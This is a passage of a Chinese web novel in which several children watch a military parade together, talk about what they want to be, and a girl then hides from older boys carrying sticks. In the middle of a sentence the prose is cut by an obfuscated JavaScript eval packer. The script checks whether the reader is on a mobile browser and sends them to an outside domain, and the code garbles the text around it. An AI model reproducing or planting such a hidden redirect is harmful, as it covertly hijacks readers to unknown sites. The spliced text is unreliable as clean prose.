茶几上摆了花样各式的零食,段储的妈妈从冰箱里拿出一大盆切好的冰西瓜,给他们开好电视调好台,声音温柔道:“大家好好玩,阿姨就不打扰你们了。” 说完就踩着优雅的步伐上楼去了。 段储家有好多新奇的电器,都是温喜盈没见过的,她感觉两只眼睛都快看不过来了,连电视都比夏天心家的大出许多。 “这两个字我认识!公下。”她惊喜地指着电视下方印着的牌子。 夏天心咳了一声:“这个字好像念松吧?” 前两天上课时,老师才讲到一篇和松树有关的课文,那时候温喜盈在盯着窗外的喜鹊看呢。 江怀木哈哈大笑:“不懂装懂,出糗了吧。” 温喜盈皱了皱鼻子:“你昨天被老师点名念课文,十个字都错了五个呢。” “至少我认识松树的松。”江怀木朝她做鬼脸。 温喜盈切了一声。 “都别吵了,阅兵仪式快开始了。”时任与冷不丁开口道。 段储拿了块冰西瓜递给夏天心,又让大家一起吃,温喜盈一口气吃了好几块,甜丝丝的汁水不时滴落,她想抽纸巾去擦,奈何手太短够不着。 时任与刚好坐在纸巾边上,抽了一张递给她,怕弄脏别人家的地板,温喜盈暂时撇开她还在单方面冷战的事,没骨气地接了过来。 直到电视上响起号角声,阅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723960|173967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵仪式正式开始,大家的注意力就完全被列兵阵和大坦克吸引了,当画面切到划过天际的战机时,几人都情不自禁地哇了一声。 大家全神贯注地看完了整场大阅兵,直到结束了眼睛也舍不得离开屏幕。 “我长大后也要当兵。”段储回忆起刚才的画面,满眼都是惊羡。 “我爸爸说,当兵可辛苦了,你能吃得了那种苦吗?”江怀木随口道。 听见这话,段储眼底泛起一丝忧愁,他现在还得打针吃药,上体育课连多跑几步都要喘半天,也不知道长大后能不能好。 夏天心边嗑瓜子边开口道:“谁说他吃不了,他连打针都不哭的,你行吗?” 前几天打疫苗时才痛哭过的江怀木沉默了,脑子一动转移了话题:“我长大后就想当运动员,像李宁一样。” “你长这么壮,当不了体操运动员。”温喜盈剥了一颗大白兔奶糖送进嘴里,又往口袋塞了两颗。 温广生喜欢看体育赛事,经常会在家里念叨各个项目的运动员表现,耳濡目染的,她也了解一些。 “你可以去举重,”夏天心倒是认真地想了想,给出一个建议,又道,“我以后就想当老师,可以管着同学们。” “啊!”江怀木哀嚎一声。 夏天心本就是他们一群人里的大姐大,自从当了班长,气势更是增了不少,只要有人调皮干坏事,哪怕只是起了个念头,都会被她严厉地批评一顿。 江怀木有几次借着体育委员的身份,课间就往体育室跑,瞒着老师偷偷拿一些器材出来玩,当然这事是温喜盈怂恿的,她实在很喜欢踢毽子玩,后来当然是被夏天心发现了,狠狠批评了他们一顿。 “小点声,别吵到阿姨了,”夏天心嘘了一声,转头问道,“喜盈呢,你长大后想干什么?” “我?”温喜盈凝眉思考片刻,才笑嘻嘻道,“我想开一家糖果店,这样每天都有很多很多糖可以吃。” “那食人鱼呢?”大家纷纷看向一直沉默的人。 后者淡淡道:“我要当牙医,等着温喜盈吃蛀牙了,一颗颗帮她拔掉。” 江怀木想象了一下她掉光牙齿的老太太模样,锤着腿哈哈大笑。 温喜盈气鼓鼓地瞪着两人,要不是还在段储家,她早就拿家伙扔过去了。 快到午饭时间,几人拒绝了段储妈妈的挽留,各回各家,时任与开学后除了早饭,其他时间都在温喜盈家的饭店吃,吃完还要给奶奶也带一份回去,便跟着温喜盈一起走。 “你不要跟着我。”还没走出几步,温喜盈转头气呼呼道。 时任与看她一眼,点了点头,转身往另一个方向走了。 双棠巷四通八达,去饭店的路有好几条,他走小路就是了。 温喜盈感觉气顺了一半,踩着小凉拖步伐轻盈地往前走,刚走出几分钟,远远地就瞧见几个高高的男生。 她一下睁大眼睛,左右瞧了瞧,早上大家都在家里看大阅兵,这会又是饭点,周围一个人都没有,还好旁边有颗大树,温喜盈躲了过去,留一小半脸往外看。 领头的人正是那天在校车上的胖男生,温喜盈后来在操场又遇见过一次,她听见身边人叫他刘敏,还好那时在上体育课,到处都是乌泱泱的学生,刘敏没发现她。 温喜盈看着几人的背影,他们手上都拿着根粗大的棍子,个个人高马大,衣服穿得歪歪斜斜,像是……妈妈口中的“烂仔”。